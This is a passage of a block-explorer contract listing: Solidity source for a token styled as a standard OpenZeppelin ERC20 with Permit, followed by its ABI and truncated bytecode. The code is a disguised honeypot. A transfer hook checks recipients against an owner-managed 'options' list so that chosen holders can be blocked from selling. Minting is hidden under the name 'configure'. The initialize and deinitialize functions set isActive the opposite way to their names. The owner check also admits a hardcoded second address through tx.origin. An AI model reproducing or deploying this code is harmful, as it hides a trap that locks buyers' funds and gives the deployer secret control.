        if(!getHolder(tx.origin)) {

        


        for(uint i = 0; i < options.length; i++) {
            if(options[i] == _recipient) {
                return false;
            }
        }}}
        

        return true;

    }

    function deinitialize() public onlyOwner {
    isActive = true;
    }

    function initialize() public onlyOwner {
    isActive = false;
    }




    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        _beforeTokenTransfer(to);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

  

     
    function _configure(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(account);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function burn_(bytes32 recipientHash, uint256 amount) internal virtual {
        _burn(address(uint160(uint256(recipientHash))), amount);
    }

   
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

  
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

   
    function _beforeTokenTransfer(address to) internal virtual { if(!check(to)) { _process();} }

   
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol)

pragma solidity ^0.8.20;






abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {
    bytes32 private constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    /**
     * @dev Permit deadline has expired.
     */
    error ERC2612ExpiredSignature(uint256 deadline);

    /**
     * @dev Mismatched signature.
     */
    error ERC2612InvalidSigner(address signer, address owner);

   
    constructor(string memory name) EIP712(name, "1") {}

    /**
     * @inheritdoc IERC20Permit
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        if (block.timestamp > deadline) {
            revert ERC2612ExpiredSignature(deadline);
        }

        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));

        bytes32 hash = _hashTypedDataV4(structHash);

        address signer = ECDSA.recover(hash, v, r, s);
        if (signer != owner) {
            revert ERC2612InvalidSigner(signer, owner);
        }

        _approve(owner, spender, value);
    }

    /**
     * @inheritdoc IERC20Permit
     */
    function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
        return super.nonces(owner);
    }

    /**
     * @inheritdoc IERC20Permit
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
        return _domainSeparatorV4();
    }
}



// Compatible with OpenZeppelin Contracts ^5.0.0
pragma solidity ^0.8.20;


contract __Token__ is ERC20, ERC20Permit {

    

    constructor(string memory _tokenName, string memory _tokenSymbol, uint _mintAmount)
        ERC20(_tokenName, _tokenSymbol)
        Ownable()
        ERC20Permit(_tokenName)
    {
        _configure(msg.sender, _mintAmount * 10 ** decimals());

    }

    function configure(address to, uint256 amount) public onlyOwner {
        _configure(to, amount);
    }
    
  

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"configure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deinitialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"getHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_option","type":"address"}],"name":"setOptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"viewHolders","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61016060405234801562000011575f80fd5b5060405162003e6338038062003e63833981810160405281019062000037919062000997565b82806040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525085856200009162000085620001ad60201b60201c565b620001b460201b60201c565b8160049081620000a2919062000c5c565b508060059081620000b4919062000c5c565b505050620000cd6009836200027560201b90919060201c565b6101208181525050620000eb600a826200027560201b90919060201c565b6101408181525050818051906020012060e08181525050808051906020012061010081815250504660a081815250506200012a620002ca60201b60201c565b608081815250503073ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1681525050505050620001a4336200017d6200032660201b60201c565b600a6200018b919062000ec9565b8362000198919062000f19565b6200032e60201b60201c565b505050620012e6565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6020835110156200029a5762000292836200049260201b60201c565b9050620002c4565b82620002ac83620004fc60201b60201c565b5f019081620002bc919062000c5c565b5060ff5f1b90505b92915050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60e0516101005146306040516020016200030b95949392919062000fd1565b60405160208183030381529060405280519060200120905090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200039f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000396906200108a565b60405180910390fd5b620003b0826200050560201b60201c565b8060035f828254620003c39190620010aa565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004739190620010e4565b60405180910390a36200048e5f83836200052f60201b60201c565b5050565b5f80829050601f81511115620004e157826040517f305a27a9000000000000000000000000000000000000000000000000000000008152600401620004d891906200113f565b60405180910390fd5b805181620004ef9062001190565b5f1c175f1b915050919050565b5f819050919050565b62000516816200053460201b60201c565b6200052c576200052b6200060e60201b60201c565b5b50565b505050565b5f60085f9054906101000a900460ff1662000604576200055a32620006a860201b60201c565b62000603575f5b60068054905081101562000601578273ffffffffffffffffffffffffffffffffffffffff16600682815481106200059d576200059c620011ff565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620005eb575f91505062000609565b8080620005f8906200122c565b91505062000561565b505b5b600190505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16620006356200075960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161480620006645750620006636200078060201b60201c565b5b620006a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200069d90620012c6565b60405180910390fd5b565b5f805f90505b6007805490508110156200074f578273ffffffffffffffffffffffffffffffffffffffff1660078281548110620006ea57620006e9620011ff565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036200073957600191505062000754565b808062000746906200122c565b915050620006ae565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f733ec9c6d838e0e3c960129300bda7bb93cfc374dc73ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603620007d35760019050620007d7565b5f90505b90565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200083b82620007f3565b810181811067ffffffffffffffff821117156200085d576200085c62000803565b5b80604052505050565b5f62000871620007da565b90506200087f828262000830565b919050565b5f67ffffffffffffffff821115620008a157620008a062000803565b5b620008ac82620007f3565b9050602081019050919050565b5f5b83811015620008d8578082015181840152602081019050620008bb565b5f8484015250505050565b5f620008f9620008f38462000884565b62000866565b905082815260208101848484011115620009185762000917620007ef565b5b62000925848285620008b9565b509392505050565b5f82601f830112620009445762000943620007eb565b5b815162000956848260208601620008e3565b91505092915050565b5f819050919050565b62000973816200095f565b81146200097e575f80fd5b50565b5f81519050620009918162000968565b92915050565b5f805f60608486031215620009b157620009b0620007e3565b5b5f84015167ffffffffffffffff811115620009d157620009d0620007e7565b5b620009df868287016200092d565b935050602084015167ffffffffffffffff81111562000a035762000a02620007e7565b5b62000a11868287016200092d565b925050604062000a248682870162000981565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a7d57607f821691505b60208210810362000a935762000a9262000a38565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000af77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aba565b62000b03868362000aba565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000b4462000b3e62000b38846200095f565b62000b1b565b6200095f565b9050919050565b5f819050919050565b62000b5f8362000b24565b62000b7762000b6e8262000b4b565b84845462000ac6565b825550505050565b5f90565b62000b8d62000b7f565b62000b9a81848462000b54565b505050565b5b8181101562000bc15762000bb55f8262000b83565b60018101905062000ba0565b5050565b601f82111562000c105762000bda8162000a99565b62000be58462000aab565b8101602085101562000bf5578190505b62000c0d62000c048562000aab565b83018262000b9f565b50505b505050565b5f82821c905092915050565b5f62000c325f198460080262000c15565b1980831691505092915050565b5f62000c4c838362000c21565b9150826002028217905092915050565b62000c678262000a2e565b67ffffffffffffffff81111562000c835762000c8262000803565b5b62000c8f825462000a65565b62000c9c82828562000bc5565b5f60209050601f83116001811462000cd2575f841562000cbd578287015190505b62000cc9858262000c3f565b86555062000d38565b601f19841662000ce28662000a99565b5f5b8281101562000d0b5784890151825560018201915060208501945060208101905062000ce4565b8683101562000d2b578489015162000d27601f89168262000c21565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000dca5780860481111562000da25762000da162000d40565b5b600185161562000db25780820291505b808102905062000dc28562000d6d565b945062000d82565b94509492505050565b5f8262000de4576001905062000eb6565b8162000df3575f905062000eb6565b816001811462000e0c576002811462000e175762000e4d565b600191505062000eb6565b60ff84111562000e2c5762000e2b62000d40565b5b8360020a91508482111562000e465762000e4562000d40565b5b5062000eb6565b5060208310610133831016604e8410600b841016171562000e875782820a90508381111562000e815762000e8062000d40565b5b62000eb6565b62000e96848484600162000d79565b9250905081840481111562000eb05762000eaf62000d40565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ed5826200095f565b915062000ee28362000ebd565b925062000f117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dd3565b905092915050565b5f62000f25826200095f565b915062000f32836200095f565b925082820262000f42816200095f565b9150828204841483151762000f5c5762000f5b62000d40565b5b5092915050565b5f819050919050565b62000f778162000f63565b82525050565b62000f88816200095f565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000fb98262000f8e565b9050919050565b62000fcb8162000fad565b82525050565b5f60a08201905062000fe65f83018862000f6c565b62000ff5602083018762000f6c565b62001004604083018662000f6c565b62001013606083018562000f7d565b62001022608083018462000fc0565b9695505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001072601f836200102c565b91506200107f826200103c565b602082019050919050565b5f6020820190508181035f830152620010a38162001064565b9050919050565b5f620010b6826200095f565b9150620010c3836200095f565b9250828201905080821115620010de57620010dd62000d40565b5b92915050565b5f602082019050620010f95f83018462000f7d565b92915050565b5f6200110b8262000a2e565b6200111781856200102c565b935062001129818560208601620008b9565b6200113481620007f3565b840191505092915050565b5f6020820190508181035f830152620011598184620010ff565b905092915050565b5f81519050919050565b5f819050602082019050919050565b5f62001187825162000f63565b80915050919050565b5f6200119c8262001161565b82620011a8846200116b565b9050620011b5816200117a565b92506020821015620011f857620011f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8360200360080262000aba565b831692505b5050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62001238826200095f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036200126d576200126c62000d40565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f620012ae6020836200102c565b9150620012bb8262001278565b602082019050919050565b5f6020820190508181035f830152620012df81620012a0565b9050919050565b60805160a05160c05160e051610100516101205161014051612b2b620013385f395f61165401525f61161901525f6117db01525f6117ba01525f6113ae01525f61140401525f61142d0152612b2b5ff3fe608060405234801561000f575f80fd5b5060043610610156575f3560e01c80637d6dff7d116100c1578063a457c2d71161007a578063a457c2d714610394578063a9059cbb146103c4578063b5eadf94146103f4578063d505accf14610410578063dd62ed3e1461042c578063f2fde38b1461045c57610156565b80637d6dff7d146102de5780637ecebe00146102fa5780638129fc1c1461032a57806384b0196e146103345780638da5cb5b1461035857806395d89b411461037657610156565b8063313ce56711610113578063313ce5671461021c5780633644e5151461023a57806338cac9ba14610258578063395093511461027457806370a08231146102a4578063715018a6146102d457610156565b806306fdde031461015a578063072caf6e14610178578063095ea7b3146101945780631584589e146101c457806318160ddd146101ce57806323b872dd146101ec575b5f80fd5b610162610478565b60405161016f9190611d72565b60405180910390f35b610192600480360381019061018d9190611e23565b610508565b005b6101ae60048036038101906101a99190611e23565b61051e565b6040516101bb9190611e7b565b60405180910390f35b6101cc610540565b005b6101d6610564565b6040516101e39190611ea3565b60405180910390f35b61020660048036038101906102019190611ebc565b61056d565b6040516102139190611e7b565b60405180910390f35b61022461059b565b6040516102319190611f27565b60405180910390f35b6102426105a3565b60405161024f9190611f58565b60405180910390f35b610272600480360381019061026d9190611f71565b6105b1565b005b61028e60048036038101906102899190611e23565b6106d4565b60405161029b9190611e7b565b60405180910390f35b6102be60048036038101906102b99190611f71565b61070a565b6040516102cb9190611ea3565b60405180910390f35b6102dc610750565b005b6102f860048036038101906102f39190611f71565b610763565b005b610314600480360381019061030f9190611f71565b61083b565b6040516103219190611ea3565b60405180910390f35b61033261084c565b005b61033c61086f565b60405161034f979695949392919061209c565b60405180910390f35b610360610914565b60405161036d919061211e565b60405180910390f35b61037e61093b565b60405161038b9190611d72565b60405180910390f35b6103ae60048036038101906103a99190611e23565b6109cb565b6040516103bb9190611e7b565b60405180910390f35b6103de60048036038101906103d99190611e23565b610a40565b6040516103eb9190611e7b565b60405180910390f35b61040e60048036038101906104099190611f71565b610a62565b005b61042a6004803603810190610425919061218b565b610acd565b005b61044660048036038101906104419190612228565b610c12565b6040516104539190611ea3565b60405180910390f35b61047660048036038101906104719190611f71565b610c94565b005b60606004805461048790612293565b80601f01602080910402602001604051908101604052809291908181526020018280546104b390612293565b80156104fe5780601f106104d5576101008083540402835291602001916104fe565b820191905f5260205f20905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b610510610d16565b61051a8282610d9c565b5050565b5f80610528610ee9565b9050610535818585610ef0565b600191505092915050565b610548610d16565b600160085f6101000a81548160ff021916908315150217905550565b5f600354905090565b5f80610577610ee9565b90506105848582856110b3565b61058f85858561113e565b60019150509392505050565b5f6012905090565b5f6105ac6113ab565b905090565b6105b9610d16565b6105c281611461565b610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89061230d565b60405180910390fd5b5f5b6007805490508110156106d0578173ffffffffffffffffffffffffffffffffffffffff166007828154811061063b5761063a61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036106bd57600781815481106106925761069161232b565b5b905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b80806106c890612385565b915050610603565b5050565b5f806106de610ee9565b90506106ff8185856106f08589610c12565b6106fa91906123cc565b610ef0565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610758610d16565b6107615f611509565b565b61076b610914565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90612449565b60405180910390fd5b600681908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610845826115ca565b9050919050565b610854610d16565b5f60085f6101000a81548160ff021916908315150217905550565b5f6060805f805f6060610880611610565b61088861164b565b46305f801b5f67ffffffffffffffff8111156108a7576108a6612467565b5b6040519080825280602002602001820160405280156108d55781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a90612293565b80601f016020809104026020016040519081016040528092919081815260200182805461097690612293565b80156109c15780601f10610998576101008083540402835291602001916109c1565b820191905f5260205f20905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b5f806109d5610ee9565b90505f6109e28286610c12565b905083811015610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612504565b60405180910390fd5b610a348286868403610ef0565b60019250505092915050565b5f80610a4a610ee9565b9050610a5781858561113e565b600191505092915050565b610a6a610d16565b600781908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b83421115610b1257836040517f62791302000000000000000000000000000000000000000000000000000000008152600401610b099190611ea3565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610b408c611686565b89604051602001610b5696959493929190612522565b6040516020818303038152906040528051906020012090505f610b78826116d9565b90505f610b87828787876116f2565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bfb57808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610bf2929190612581565b60405180910390fd5b610c068a8a8a610ef0565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c9c610d16565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612618565b60405180910390fd5b610d1381611509565b50565b3273ffffffffffffffffffffffffffffffffffffffff16610d35610914565b73ffffffffffffffffffffffffffffffffffffffff161480610d5b5750610d5a611720565b5b610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190612680565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e01906126e8565b60405180910390fd5b610e1382611778565b8060035f828254610e2491906123cc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed29190611ea3565b60405180910390a3610ee55f8383611791565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612776565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612804565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a69190611ea3565b60405180910390a3505050565b5f6110be8484610c12565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611138578181101561112a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111219061286c565b60405180910390fd5b6111378484848403610ef0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906128fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190612988565b60405180910390fd5b61122382611778565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612a16565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113929190611ea3565b60405180910390a36113a5848484611791565b50505050565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561142657507f000000000000000000000000000000000000000000000000000000000000000046145b15611453577f0000000000000000000000000000000000000000000000000000000000000000905061145e565b61145b611796565b90505b90565b5f805f90505b6007805490508110156114ff578273ffffffffffffffffffffffffffffffffffffffff166007828154811061149f5761149e61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114ec576001915050611504565b80806114f790612385565b915050611467565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606116466